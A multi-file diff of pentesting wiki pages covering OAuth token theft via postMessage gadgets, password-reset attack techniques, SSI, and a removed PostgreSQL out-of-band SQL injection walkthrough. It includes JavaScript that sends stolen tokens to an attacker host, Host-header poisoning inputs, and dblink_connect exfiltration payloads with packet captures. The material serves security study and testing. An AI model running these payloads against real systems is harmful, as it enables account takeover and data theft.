if (e.data.key === 'api-token') {
|
||||
gotToken = true;
|
||||
lookInApi(e.data.value);
|
||||
}
|
||||
}
|
||||
launchChatWindowByPostMessage();
|
||||
</script>
|
||||
```
|
||||
2. Added a link to the malicious page to open up the sign-in-flow that would end up on the page with the chat-widget with the token in the URL:
|
||||
|
||||
```
|
||||
<a href="#" onclick="b=window.open('https://accounts.google.com/o/oauth2/auth/oauthchooseaccount?...');">Click here to hijack token</a>
|
||||
```
|
||||
3. The `launchChatWindowByPostMessage()`-function will continuously send a postMessage to the main window, if opened, to launch the chat-widget:
|
||||
|
||||
```javascript
|
||||
function launchChatWindowByPostMessage() {
|
||||
var launch = setInterval(function() {
|
||||
if(b) { b.postMessage({type: 'launch-chat'}, '*'); }
|
||||
}, 500);
|
||||
}
|
||||
```
|
||||
4. When the victim clicked the link and ended up on the error page, the chat would launch and a chat-api-token would be created. My reload of the chat-widget iframe on the malicious page would get the `api-token` through postMessage and I could then start to look in the API for the current url of the victim:
|
||||
|
||||
```javascript
|
||||
function lookInApi(token) {
|
||||
var look = setInterval(function() {
|
||||
fetch('https://fetch-server-side.attacker.test/?token=' + token).then(e => e.json()).then(e => {
|
||||
if (e &&
|
||||
e.api_data &&
|
||||
e.api_data.current_url &&
|
||||
e.api_data.current_url.indexOf('access_token') !== -1) {
|
||||
var payload = e.api_data.current_url
|
||||
document.getElementById('leak').innerHTML = 'Attacker now has the token: ' + payload;
|
||||
clearInterval(look);
|
||||
}
|
||||
});
|
||||
}, 2000);
|
||||
}
|
||||
```
|
||||
5. The server-side page at `https://fetch-server-side.attacker.test/?token=xxx` would make the API-call with the added Origin-header to make the Chat-API think I was using it as a legit origin:
|
||||
|
||||
```javascript
|
||||
addEventListener('fetch', event => {
|
||||
event.respondWith(handleRequest(event.request))
|
||||
})
|
||||
async function getDataFromChatApi(token) {
|
||||
return await fetch('https://chat-widget.example.com/api', {headers:{Origin: 'https://example.com', 'Chat-Api-Token': token}});
|
||||
}
|
||||
function handleRequest(request) {
|
||||
const token = request.url.match('token=([^&#]+)')[1] || null;
|
||||
return token ? getDataFromChatApi(token) : null;
|
||||
}
|
||||
```
|
||||
6. When the victim clicked the link and went through the OAuth-dance and landed on the error page with the token added, the chat-widget would suddenly popup, register the current URL and the attacker would have the access token from the victim.
|
||||
|
||||
## Other ideas for leaking URLs
|
||||
|
||||
There are still other different types of gadgets waiting to be found. Here’s one of those cases I wasn’t able to find in the wild but could be a potential way to get the URL to leak using any of the response modes available.
|
||||
|
||||
### A page on a domain that routes any postMessage to its opener
|
||||
|
||||
Since all `web_message` response types cannot validate any path of the origin, any URL on a valid domain can receive the postMessage with the token. If there’s some form of postMessage-listener proxy on any of the pages on the domain, that takes any message sent to it and sends everything to its `opener`, I can make a double-window.open chain:
|
||||
|
||||
Attacker page 1:
|
||||
|
||||
```html
|
||||
<a href="#" onclick="a=window.open('attacker2.html'); return false;">Accept cookies</a>
|
||||
```
|
||||
|
||||
Attacker page 2:
|
||||
|
||||
```html
|
||||
<a href="#" onclick="b=window.open('https://accounts.google.com/oauth/...?', '', 'x'); location.href = 'https://example.com/postmessage-proxy'; return false;">Login to google</a>
|
||||
```
|
||||
|
||||
And the `https://example.com/postmessage-proxy` would have something along the lines of:
|
||||
|
||||
```javascript
|
||||
// Proxy all my messages to my opener:
|
||||
window.onmessage=function(e) { opener.postMessage(e.data, '*'); }
|
||||
```
|
||||
|
||||
I could use any of the `web_message`-response modes to submit the token from the OAuth-provider down to the valid origin of `https://example.com`, but the endpoint would send the token further to `opener` which is the attacker’s page.
|
||||
|
||||
This flow might seem unlikely and it needs two clicks: one to create one opener-relationship between the attacker and the website, and the second to launch the OAuth-flow having the legit website as the opener of the OAuth-popup.
|
||||
|
||||
The OAuth-provider sends the token down to the legit origin:
|
||||
|
||||
![](https://labs.detectify.com/wp-content/uploads/2022/06/gadget4-example1.png)
|
||||
|
||||
And the legit origin has the postMessage-proxy to its opener:
|
||||
|
||||
![](https://labs.detectify.com/wp-content/uploads/2022/06/gadget4-example2.png)
|
||||
|
||||
Which causes the attacker to get the token:
|
||||
|
||||
![](https://labs.detectify.com/wp-content/uploads/2022/06/gadget4-example3.png)
|
||||
**Check the post [https://labs.detectify.com/2022/07/06/account-hijacking-using-dirty-dancing-in-sign-in-oauth-flows/#gadget-2-xss-on-sandbox-third-party-domain-that-gets-the-url](https://labs.detectify.com/2022/07/06/account-hijacking-using-dirty-dancing-in-sign-in-oauth-flows/#gadget-2-xss-on-sandbox-third-party-domain-that-gets-the-url)**
|
||||
|
||||
<details>
|
||||
|
||||
|
|
|
@ -29,303 +29,102 @@ Stay informed with the newest bug bounties launching and crucial platform update
|
|||
|
||||
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
|
||||
|
||||
The following techniques recompilation was taken from [https://anugrahsr.github.io/posts/10-Password-reset-flaws/](https://anugrahsr.github.io/posts/10-Password-reset-flaws/)
|
||||
|
||||
## Password Reset Token Leak Via Referrer
|
||||
|
||||
The **HTTP referer** is an optional HTTP header field that identifies the address of the webpage which is linked to the resource being requested. The Referer request header contains the address of the previous web page from which a link to the currently requested page was followed
|
||||
|
||||
![](https://www.optimizesmart.com/wp-content/uploads/2020/01/1-1-2.jpg)
|
||||
|
||||
### Exploitation
|
||||
|
||||
* Request password reset to your email address
|
||||
* Click on the password reset link
|
||||
* Dont change password
|
||||
* Click any 3rd party websites(eg: Facebook, twitter)
|
||||
* Intercept the request in burpsuite proxy
|
||||
* Check if the referer header is leaking password reset token.
|
||||
|
||||
### Impact
|
||||
|
||||
It allows the person who has control of particular site to change the user’s password (CSRF attack), because this person knows reset password token of the user.
|
||||
|
||||
### Reference:
|
||||
|
||||
* https://hackerone.com/reports/342693
|
||||
* https://hackerone.com/reports/272379
|
||||
* https://hackerone.com/reports/737042
|
||||
* https://medium.com/@rubiojhayz1234/toyotas-password-reset-token-and-email-address-leak-via-referer-header-b0ede6507c6a
|
||||
* https://medium.com/@shahjerry33/password-reset-token-leak-via-referrer-2e622500c2c1
|
||||
|
||||
## Password Reset Poisoning
|
||||
|
||||
If you find a host header attack and it’s out of scope, try to find the password reset button!
|
||||
|
||||
![](https://portswigger.net/web-security/images/password-reset-poisoning.svg)
|
||||
|
||||
### Exploitation
|
||||
|
||||
* Intercept the password reset request in Burpsuite
|
||||
* Add following header or edit header in burpsuite(try one by one)
|
||||
|
||||
```
|
||||
Host: attacker.com
|
||||
```
|
||||
|
||||
```
|
||||
Host: target.com
|
||||
X-Forwarded-Host: attacker.com
|
||||
```
|
||||
|
||||
```
|
||||
Host: target.com
|
||||
Host: attacker.com
|
||||
```
|
||||
|
||||
* Check if the link to change the password inside the email is pointing to attacker.com
|
||||
|
||||
### Patch
|
||||
|
||||
Use `$_SERVER['SERVER_NAME']` rather than `$_SERVER['HTTP_HOST']`
|
||||
|
||||
```php
|
||||
$resetPasswordURL = "https://{$_SERVER['HTTP_HOST']}/reset-password.php?token=12345678-1234-1234-1234-12345678901";
|
||||
```
|
||||
|
||||
### Impact
|
||||
|
||||
The victim will receive the malicious link in their email, and, when clicked, will leak the user’s password reset link / token to the attacker, leading to full account takeover.
|
||||
|
||||
### Reference:
|
||||
|
||||
* https://hackerone.com/reports/226659
|
||||
* https://hackerone.com/reports/167631
|
||||
* https://www.acunetix.com/blog/articles/password-reset-poisoning/
|
||||
* https://pethuraj.com/blog/how-i-earned-800-for-host-header-injection-vulnerability/
|
||||
* https://medium.com/@swapmaurya20/password-reset-poisoning-leading-to-account-takeover-f178f5f1de87
|
||||
|
||||
## Password Reset By Manipulating Email Parameter
|
||||
|
||||
### Exploitation
|
||||
|
||||
* Add attacker email as second parameter using &
|
||||
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
email=victim@email.com&email=attacker@email.com
|
||||
```
|
||||
|
||||
* Add attacker email as second parameter using %20
|
||||
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
email=victim@email.com%20email=attacker@email.com
|
||||
```
|
||||
|
||||
* Add attacker email as second parameter using |
|
||||
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
email=victim@email.com|email=attacker@email.com
|
||||
```
|
||||
|
||||
* Add attacker email as second parameter using cc
|
||||
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
email="victim@mail.tld%0a%0dcc:attacker@mail.tld"
|
||||
```
|
||||
|
||||
* Add attacker email as second parameter using bcc
|
||||
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
email="victim@mail.tld%0a%0dbcc:attacker@mail.tld"
|
||||
```
|
||||
|
||||
* Add attacker email as second parameter using ,
|
||||
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
email="victim@mail.tld",email="attacker@mail.tld"
|
||||
```
|
||||
|
||||
* Add attacker email as second parameter in json array
|
||||
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
{"email":["victim@mail.tld","atracker@mail.tld"]}
|
||||
```
|
||||
|
||||
### Reference
|
||||
|
||||
* https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be
|
||||
* https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/
|
||||
* https://twitter.com/HusseiN98D/status/1254888748216655872
|
||||
|
||||
## Changing Email And Password of any User through API Parameters
|
||||
|
||||
### Exploitation
|
||||
|
||||
* Attacker have to login with their account and Go to the Change password function
|
||||
* Start the Burp Suite and Intercept the request
|
||||
* After intercepting the request sent it to repeater and modify parameters Email and Password
|
||||
|
||||
```php
|
||||
POST /api/changepass
|
||||
[...]
|
||||
("form": {"email":"victim@email.tld","password":"12345678"})
|
||||
```
|
||||
|
||||
### Reference
|
||||
|
||||
* https://medium.com/@adeshkolte/full-account-takeover-changing-email-and-password-of-any-user-through-api-parameters-3d527ab27240
|
||||
|
||||
### No Rate Limiting: Email Bombing <a href="#5-no-rate-limiting-email-bombing" id="5-no-rate-limiting-email-bombing"></a>
|
||||
|
||||
### Exploitation
|
||||
|
||||
* Start the Burp Suite and Intercept the password reset request
|
||||
* Send to intruder
|
||||
* Use null payload
|
||||
|
||||
### Reference
|
||||
|
||||
* https://hackerone.com/reports/280534
|
||||
* https://hackerone.com/reports/794395
|
||||
|
||||
## Find out How Password Reset Token is Generated
|
||||
|
||||
Figure out the pattern of password reset token
|
||||
|
||||
![](https://encrypted-tbn0.gstatic.com/images?q=tbn%3AANd9GcSvCcLcUTksGbpygrJB4III5BTBYEzYQfKJyg\&usqp=CAU)
|
||||
|
||||
If it
|
||||
|
||||
* Generated based Timestamp
|
||||
* Generated based on the UserID
|
||||
* Generated based on email of User
|
||||
* Generated based on Firstname and Lastname
|
||||
* Generated based on Date of Birth
|
||||
* Generated based on Cryptography
|
||||
|
||||
Use Burp Sequencer to find the randomness or predictability of tokens.
|
||||
|
||||
## Guessable GUID
|
||||
|
||||
There are different types of GUIDs:
|
||||
|
||||
* **Version 0:** Only seen in the nil GUID ("00000000-0000-0000-0000-000000000000").
|
||||
* **Version 1:** The GUID is generated in a predictable manner based on:
|
||||
* The current time
|
||||
* A randomly generated "clock sequence" which remains constant between GUIDs during the uptime of the generating system
|
||||
* A "node ID", which is generated based on the system's MAC address if it is available
|
||||
* **Version 3:** The GUID is generated using an MD5 hash of a provided name and namespace.
|
||||
* **Version 4:** The GUID is randomly generated.
|
||||
* **Version 5:** The GUID is generated using a SHA1 hash of a provided name and namespace.
|
||||
|
||||
It's possible to take a look to a GUID and find out its version, there is a small tool for that: [**guidtool**](https://github.com/intruder-io/guidtool)\*\*\*\*
|
||||
|
||||
```http
|
||||
guidtool -i 1b2d78d0-47cf-11ec-8d62-0ff591f2a37c
|
||||
UUID version: 1
|
||||
UUID time: 2021-11-17 17:52:18.141000
|
||||
UUID timestamp: 138564643381410000
|
||||
UUID node: 17547390002044
|
||||
UUID MAC address: 0f:f5:91:f2:a3:7c
|
||||
UUID clock sequence: 3426
|
||||
```
|
||||
|
||||
If the used version to generate a reset password GUID is the version 1, it's possible to bruteforce GUIDS:
|
||||
|
||||
```http
|
||||
guidtool 1b2d78d0-47cf-11ec-8d62-0ff591f2a37c -t '2021-11-17 18:03:17' -p 10000
|
||||
a34aca00-47d0-11ec-8d62-0ff591f2a37c
|
||||
a34af110-47d0-11ec-8d62-0ff591f2a37c
|
||||
```
|
||||
|
||||
### References
|
||||
|
||||
* [https://www.intruder.io/research/in-guid-we-trust](https://www.intruder.io/research/in-guid-we-trust)
|
||||
|
||||
## Response manipulation: Replace Bad Response With Good One
|
||||
|
||||
Look for Request and Response like these
|
||||
|
||||
```php
|
||||
HTTP/1.1 401 Unauthorized
|
||||
(“message”:”unsuccessful”,”statusCode:403,”errorDescription”:”Unsuccessful”)
|
||||
```
|
||||
|
||||
Change Response
|
||||
|
||||
```php
|
||||
HTTP/1.1 200 OK
|
||||
(“message”:”success”,”statusCode:200,”errorDescription”:”Success”)
|
||||
```
|
||||
|
||||
### Reference
|
||||
|
||||
* https://medium.com/@innocenthacker/how-i-found-the-most-critical-bug-in-live-bug-bounty-event-7a88b3aa97b3
|
||||
|
||||
### Using Expired Token <a href="#8-using-expired-token" id="8-using-expired-token"></a>
|
||||
|
||||
* Check if the expired token can be reused
|
||||
|
||||
### Brute Force Password Rest token <a href="#9-brute-force-password-rest-token" id="9-brute-force-password-rest-token"></a>
|
||||
|
||||
Try to bruteforce the reset token using Burpsuite
|
||||
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
email=victim@email.com&code=$BRUTE$
|
||||
```
|
||||
|
||||
* Use IP-Rotator on burpsuite to bypass IP based ratelimit.
|
||||
|
||||
### Reference
|
||||
|
||||
* https://twitter.com/HusseiN98D/status/1254888748216655872/photo/1
|
||||
|
||||
### Try Using Your Token <a href="#10-try-using-your-token" id="10-try-using-your-token"></a>
|
||||
|
||||
* Try adding your password reset token with victim’s Account
|
||||
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
email=victim@email.com&code=$YOUR_TOKEN$
|
||||
```
|
||||
|
||||
### Reference
|
||||
|
||||
* https://twitter.com/HusseiN98D/status/1254888748216655872/photo/1
|
||||
|
||||
## Session I**nvalidation** in Logout/Password Reset
|
||||
|
||||
When a user **logs out or reset his password**, the current session should be invalidated.\
|
||||
Therefore, **grab the cookies** while the user is logged in, **log out**, and **check** if the **cookies** are still **valid**.\
|
||||
Repeat the process **changing the password** instead of logging out.
|
||||
|
||||
## Reset Token expiration Time
|
||||
|
||||
The **reset tokens must have an expiration time**, after it the token shouldn't be valid to change the password of a user.
|
||||
|
||||
## Extra Checks
|
||||
|
||||
* Use username@burp\_collab.net and analyze the callback
|
||||
* User carbon copy email=victim@mail.com%0a%0dcc:hacker@mail.com
|
||||
* Long password (>200) leads to DoS
|
||||
* Append second email param and value
|
||||
## **Password Reset Token Leak Via Referrer**
|
||||
* The HTTP referer header may leak the password reset token if it's included in the URL. This can occur when a user clicks on a third-party website link after requesting a password reset.
|
||||
* **Impact**: Potential account takeover via Cross-Site Request Forgery (CSRF) attacks.
|
||||
* **References**:
|
||||
- [HackerOne Report 342693](https://hackerone.com/reports/342693)
|
||||
- [HackerOne Report 272379](https://hackerone.com/reports/272379)
|
||||
- [Password Reset Token Leak Article](https://medium.com/@rubiojhayz1234/toyotas-password-reset-token-and-email-address-leak-via-referer-header-b0ede6507c6a)
|
||||
|
||||
## **Password Reset Poisoning**
|
||||
* Attackers may manipulate the Host header during password reset requests to point the reset link to a malicious site.
|
||||
* **Patch**: Use `$_SERVER['SERVER_NAME']` to construct password reset URLs instead of `$_SERVER['HTTP_HOST']`.
|
||||
* **Impact**: Leads to potential account takeover by leaking reset tokens to attackers.
|
||||
* **Mitigation Steps**:
|
||||
- Validate the Host header against a whitelist of allowed domains.
|
||||
- Use secure, server-side methods to generate absolute URLs.
|
||||
* **References**:
|
||||
- [Acunetix Article on Password Reset Poisoning](https://www.acunetix.com/blog/articles/password-reset-poisoning/)
|
||||
|
||||
## **Password Reset By Manipulating Email Parameter**
|
||||
* Attackers can manipulate the password reset request by adding additional email parameters to divert the reset link.
|
||||
* **Mitigation Steps**:
|
||||
- Properly parse and validate email parameters server-side.
|
||||
- Use prepared statements or parameterized queries to prevent injection attacks.
|
||||
* **References**:
|
||||
- [Readme.com Account Takeover](https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be)
|
||||
|
||||
## **Changing Email And Password of any User through API Parameters**
|
||||
* Attackers can modify email and password parameters in API requests to change account credentials.
|
||||
* **Mitigation Steps**:
|
||||
- Ensure strict parameter validation and authentication checks.
|
||||
- Implement robust logging and monitoring to detect and respond to suspicious activities.
|
||||
* **Reference**:
|
||||
- [Full Account Takeover via API Parameter Manipulation](https://medium.com/@adeshkolte/full-account-takeover-changing-email-and-password-of-any-user-through-api-parameters-3d527ab27240)
|
||||
|
||||
## **No Rate Limiting: Email Bombing**
|
||||
* Lack of rate limiting on password reset requests can lead to email bombing, overwhelming the user with reset emails.
|
||||
* **Mitigation Steps**:
|
||||
- Implement rate limiting based on IP address or user account.
|
||||
- Use CAPTCHA challenges to prevent automated abuse.
|
||||
* **References**:
|
||||
- [HackerOne Report 280534](https://hackerone.com/reports/280534)
|
||||
|
||||
## **Find out How Password Reset Token is Generated**
|
||||
* Understanding the pattern or method behind token generation can lead to predicting or brute-forcing tokens.
|
||||
* **Mitigation Steps**:
|
||||
- Use strong, cryptographic methods for token generation.
|
||||
- Ensure sufficient randomness and length to prevent predictability.
|
||||
* **Tools**: Use Burp Sequencer to analyze the randomness of tokens.
|
||||
|
||||
## **Guessable GUID**
|
||||
* If GUIDs (e.g., version 1) are guessable or predictable, attackers may brute-force them to generate valid reset tokens.
|
||||
* **Mitigation Steps**:
|
||||
- Use GUID version 4 for randomness or implement additional security measures for other versions.
|
||||
* **Tools**: Use [guidtool](https://github.com/intruder-io/guidtool) for analyzing and generating GUIDs.
|
||||
|
||||
## **Response Manipulation: Replace Bad Response With Good One**
|
||||
* Manipulating HTTP responses to bypass error messages or restrictions.
|
||||
* **Mitigation Steps**:
|
||||
- Implement server-side checks to ensure response integrity.
|
||||
- Use secure communication channels like HTTPS to prevent man-in-the-middle attacks.
|
||||
* **Reference**:
|
||||
- [Critical Bug in Live Bug Bounty Event](https://medium.com/@innocenthacker/how-i-found-the-most-critical-bug-in-live-bug-bounty-event-7a88b3aa97b3)
|
||||
|
||||
## **Using Expired Token**
|
||||
* Testing whether expired tokens can still be used for password reset.
|
||||
* **Mitigation Steps**:
|
||||
- Implement strict token expiration policies and validate token expiry server-side.
|
||||
|
||||
## **Brute Force Password Reset Token**
|
||||
* Attempting to brute-force the reset token using tools like Burpsuite and IP-Rotator to bypass IP-based rate limits.
|
||||
* **Mitigation Steps**:
|
||||
- Implement robust rate-limiting and account lockout mechanisms.
|
||||
- Monitor for suspicious activities indicative of brute-force attacks.
|
||||
|
||||
## **Try Using Your Token**
|
||||
* Testing if an attacker's reset token can be used in conjunction with the victim's email.
|
||||
* **Mitigation Steps**:
|
||||
- Ensure that tokens are bound to the user session or other user-specific attributes.
|
||||
|
||||
## **Session Invalidation in Logout/Password Reset**
|
||||
* Ensuring that sessions are invalidated when a user logs out or resets their password.
|
||||
* **Mitigation Steps**:
|
||||
- Implement proper session management, ensuring that all sessions are invalidated upon logout or password reset.
|
||||
|
||||
## **Reset Token Expiration Time**
|
||||
* Reset tokens should have an expiration time after which they become invalid.
|
||||
* **Mitigation Steps**:
|
||||
- Set a reasonable expiration time for reset tokens and strictly enforce it server-side.
|
||||
|
||||
## **Extra Checks**
|
||||
* Additional methods to test for vulnerabilities, such as using special email formats or long passwords to cause potential Denial of Service (DoS).
|
||||
* **Mitigation Steps**:
|
||||
- Conduct input validation and enforce length limits to prevent abuse.
|
||||
|
||||
# References
|
||||
* [https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token](https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
|
|
@ -16,6 +16,8 @@ Other ways to support HackTricks:
|
|||
|
||||
## Server Side Inclusion Basic Information
|
||||
|
||||
(Definition taken from [here](https://httpd.apache.org/docs/current/howto/ssi.html))
|
||||
|
||||
SSI (Server Side Includes) are directives that are **placed in HTML pages, and evaluated on the server** while the pages are being served. They let you **add dynamically generated content** to an existing HTML page, without having to serve the entire page via a CGI program, or other dynamic technology.\
|
||||
For example, you might place a directive into an existing HTML page, such as:
|
||||
|
||||
|
@ -25,7 +27,7 @@ And, when the page is served, this fragment will be evaluated and replaced with
|
|||
|
||||
`Tuesday, 15-Jan-2013 19:28:54 EST`
|
||||
|
||||
The decision of when to use SSI, and when to have your page entirely generated by some program, is usually a matter of how much of the page is static, and how much needs to be recalculated every time the page is served. SSI is a great way to add small pieces of information, such as the current time - shown above. But if a majority of your page is being generated at the time that it is served, you need to look for some other solution. (Definition taken from [here](https://httpd.apache.org/docs/current/howto/ssi.html)).
|
||||
The decision of when to use SSI, and when to have your page entirely generated by some program, is usually a matter of how much of the page is static, and how much needs to be recalculated every time the page is served. SSI is a great way to add small pieces of information, such as the current time - shown above. But if a majority of your page is being generated at the time that it is served, you need to look for some other solution.
|
||||
|
||||
You can infer the presence of SSI if the web application uses files with the extensions \*\* `.shtml`, `.shtm` or `.stm`\*\*, but it's not only the case.
|
||||
|
||||
|
|
|
@ -16,167 +16,8 @@ Other ways to support HackTricks:
|
|||
|
||||
**This is an example of how to exfiltrate data loading files in the database with `lo_import` and exfiltrate them using `dblink_connect`.**
|
||||
|
||||
## Preparing the exfiltration server/Asynchronous SQL Injection
|
||||
**Check the solution from:** [**https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md**](https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md)
|
||||
|
||||
**Extracted from:** [**https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md**](https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md)
|
||||
|
||||
Because the `pg_sleep` also doesn't cause delay, we can safely assume if query execution occurs in the background or asynchronously.
|
||||
|
||||
Normally, `dblink_connect` can be used to open a persistent connection to a remote PostgreSQL database (e.g. `SELECT dblink_connect('host=HOST user=USER password=PASSWORD dbname=DBNAME')`). Because we can control the parameter of this function, we can perform SQL Server Side Request Forgery to our own host. That means, we can perform Out-of-Band SQL Injection to exfiltrate data from SQL query results. At least, there are two ways to do this:
|
||||
|
||||
1. Set up a **DNS server** and then trigger the connection to `[data].our.domain` so that we can see the data in the log or in the DNS network packets.
|
||||
2. Set up a **public PostgreSQL server, monitor the incoming network packets to PostgreSQL port**, and then trigger a connection to our host with exfiltrated data as `user`/`dbname`. By **default**, PostgreSQL doesn't use SSL for communication so we can see `user`/`dbname` as a **plain-text** on the network.
|
||||
|
||||
The **second method is easier** because we don't need any domain. We only need to set up a server with a public IP, install PostgreSQL, set the PostgreSQL service to listen to \*/0.0.0.0, and run a network dumper (e.g. tcpdump) to monitor traffic to the PostgreSQL port (5432 by default).
|
||||
|
||||
To set PostgreSQL so that it will **listen to the public**, set `listen_addresses` in `postgresql.conf` to `*`.
|
||||
|
||||
```
|
||||
listen_addresses = '*'
|
||||
```
|
||||
|
||||
To monitor incoming traffic, run `tcpdump` to monitor port 5432.
|
||||
|
||||
```
|
||||
sudo tcpdump -nX -i eth0 port 5432
|
||||
```
|
||||
|
||||
To see if we get a connection from the target, we can try using this query:
|
||||
|
||||
```
|
||||
asd' UNION SELECT 1,(SELECT dblink_connect('host=IP user=farisv password=postgres dbname=hellofromfb')) --
|
||||
```
|
||||
|
||||
If successful, we get a piece of network packet with readable `user` and `dbname`.
|
||||
|
||||
```
|
||||
17:14:11.267060 IP [54.185.163.254.50968] > [REDACTED]: Flags [P.], seq 1:43, ack 1, win 229, options [nop,nop,TS val 970078525 ecr 958693110], length 42
|
||||
0x0000: 4500 005e 9417 4000 2706 248c 36b9 a3fe E..^..@.'.$.6...
|
||||
0x0010: 9de6 2259 c718 2061 5889 142a 9f8a cb5d .."Y...aX..*...]
|
||||
0x0020: 8018 00e5 1701 0000 0101 080a 39d2 393d ............9.9=
|
||||
0x0030: 3924 7ef6 0000 002a 0003 0000 7573 6572 9$~....*....user
|
||||
0x0040: 0066 6172 6973 7600 6461 7461 6261 7365 .farisv.database
|
||||
0x0050: 0068 656c 6c6f 6672 6f6d 6662 0000 .hellofromfb.
|
||||
```
|
||||
|
||||
Then, we can **continue to extract the database using several PostgreSQL queries**. Note that for each query result that contains whitespaces, we need to convert the result to **hex/base64** with `encode` function or replace the whitespace to other character with `replace` function because it will cause an execution error during `dblink_connect` process.
|
||||
|
||||
Get a **list** of **schemas**:
|
||||
|
||||
```
|
||||
asd' UNION SELECT 1,(SELECT dblink_connect('host=IP user=' || (SELECT string_agg(schema_name,':') FROM information_schema.schemata) || ' password=postgres dbname=postgres')) --
|
||||
```
|
||||
|
||||
```
|
||||
17:36:46.538178 IP 54.185.163.254.51018 > [REDACTED]: Flags [P.], seq 1:70, ack 1, win 229, options [nop,nop,TS val 971433789 ecr 960048322], length 69
|
||||
0x0000: 4500 0079 ecd5 4000 2706 cbb2 36b9 a3fe E..y..@.'...6...
|
||||
0x0010: 9de6 2259 c74a 2061 1e74 4769 b404 803d .."Y.J.a.tGi...=
|
||||
0x0020: 8018 00e5 2710 0000 0101 080a 39e6 e73d ....'.......9..=
|
||||
0x0030: 3939 2cc2 0000 0045 0003 0000 7573 6572 99,....E....user
|
||||
0x0040: 0070 7562 6c69 633a 696e 666f 726d 6174 .public:informat
|
||||
0x0050: 696f 6e5f 7363 6865 6d61 3a70 675f 6361 ion_schema:pg_ca
|
||||
0x0060: 7461 6c6f 6700 6461 7461 6261 7365 0070 talog.database.p
|
||||
0x0070: 6f73 7467 7265 7300 00 ostgres.
|
||||
```
|
||||
|
||||
Get a **list** of **tables** in current schema:
|
||||
|
||||
```
|
||||
asd' UNION SELECT 1,(SELECT dblink_connect('host=IP user=' || (SELECT string_agg(tablename, ':') FROM pg_catalog.pg_tables WHERE schemaname=current_schema()) || ' password=postgres dbname=postgres')) --
|
||||
```
|
||||
|
||||
```
|
||||
17:38:30.515438 IP 54.185.163.254.51026 > [REDACTED]: Flags [P.], seq 1:42, ack 1, win 229, options [nop,nop,TS val 971537775 ecr 960152304], length 41
|
||||
0x0000: 4500 005d f371 4000 2706 c532 36b9 a3fe E..].q@.'..26...
|
||||
0x0010: 9de6 2259 c752 2061 8dd4 e226 24a3 a5c5 .."Y.R.a...&$...
|
||||
0x0020: 8018 00e5 fe2b 0000 0101 080a 39e8 7d6f .....+......9.}o
|
||||
0x0030: 393a c2f0 0000 0029 0003 0000 7573 6572 9:.....)....user
|
||||
0x0040: 0073 6561 7263 6865 7300 6461 7461 6261 .searches.databa
|
||||
0x0050: 7365 0070 6f73 7467 7265 7300 00 se.postgres.
|
||||
```
|
||||
|
||||
**Count** the **rows** in `searches` table.
|
||||
|
||||
```
|
||||
asd' UNION SELECT 1,(SELECT dblink_connect('host=IP user=' || (SELECT COUNT(*) FROM searches) || ' password=postgres dbname=postgres')) --
|
||||
```
|
||||
|
||||
```
|
||||
17:42:39.511643 IP 54.185.163.254.51034 > [REDACTED]: Flags [P.], seq 1:35, ack 1, win 229, options [nop,nop,TS val 971786760 ecr 960401280], length 34
|
||||
0x0000: 4500 0056 7982 4000 2706 3f29 36b9 a3fe E..Vy.@.'.?)6...
|
||||
0x0010: 9de6 2259 c75a 2061 5ec0 7df0 8611 357d .."Y.Z.a^.}...5}
|
||||
0x0020: 8018 00e5 f855 0000 0101 080a 39ec 4a08 .....U......9.J.
|
||||
0x0030: 393e 8f80 0000 0022 0003 0000 7573 6572 9>....."....user
|
||||
0x0040: 0030 0064 6174 6162 6173 6500 706f 7374 .0.database.post
|
||||
0x0050: 6772 6573 0000 gres.
|
||||
```
|
||||
|
||||
It looks like it only has one empty table in the current schema and the flag is not in the database. We may really need to exfiltrate data from `/var/lib/postgresql/data/secret`. Unfortunately, if we try to use `pg_read_file` or `pg_read_binary_file` to read the file, we will not get an incoming connection so that the current user may not have permission to use these functions.
|
||||
|
||||
#### More info of asynchronous SQLInjection with postdresql
|
||||
|
||||
* [https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md](https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md)
|
||||
|
||||
## **Exfiltrating large object contents**
|
||||
|
||||
It's possible to read file using large objects ([https://www.postgresql.org/docs/11/lo-funcs.html](https://www.postgresql.org/docs/11/lo-funcs.html)). We can use `lo_import` to load the contents of the file into the `pg_largeobject` catalog. If the query is success, we will get the object's `oid`.
|
||||
|
||||
```
|
||||
asd' UNION SELECT 1,(SELECT dblink_connect('host=IP user=' || (SELECT lo_import('/var/lib/postgresql/data/secret')) || ' password=postgres dbname=postgres')) --
|
||||
```
|
||||
|
||||
```
|
||||
17:54:51.963925 IP 54.185.163.254.51046 > [REDACTED]: Flags [P.], seq 1:39, ack 1, win 229, options [nop,nop,TS val 972519214 ecr 961133706], length 38
|
||||
0x0000: 4500 005a 071f 4000 2706 b188 36b9 a3fe E..Z..@.'...6...
|
||||
0x0010: 9de6 2259 c766 2061 26fb c8a7 bbb3 fe01 .."Y.f.a&.......
|
||||
0x0020: 8018 00e5 2272 0000 0101 080a 39f7 772e ...."r......9.w.
|
||||
0x0030: 3949 bc8a 0000 0026 0003 0000 7573 6572 9I.....&....user
|
||||
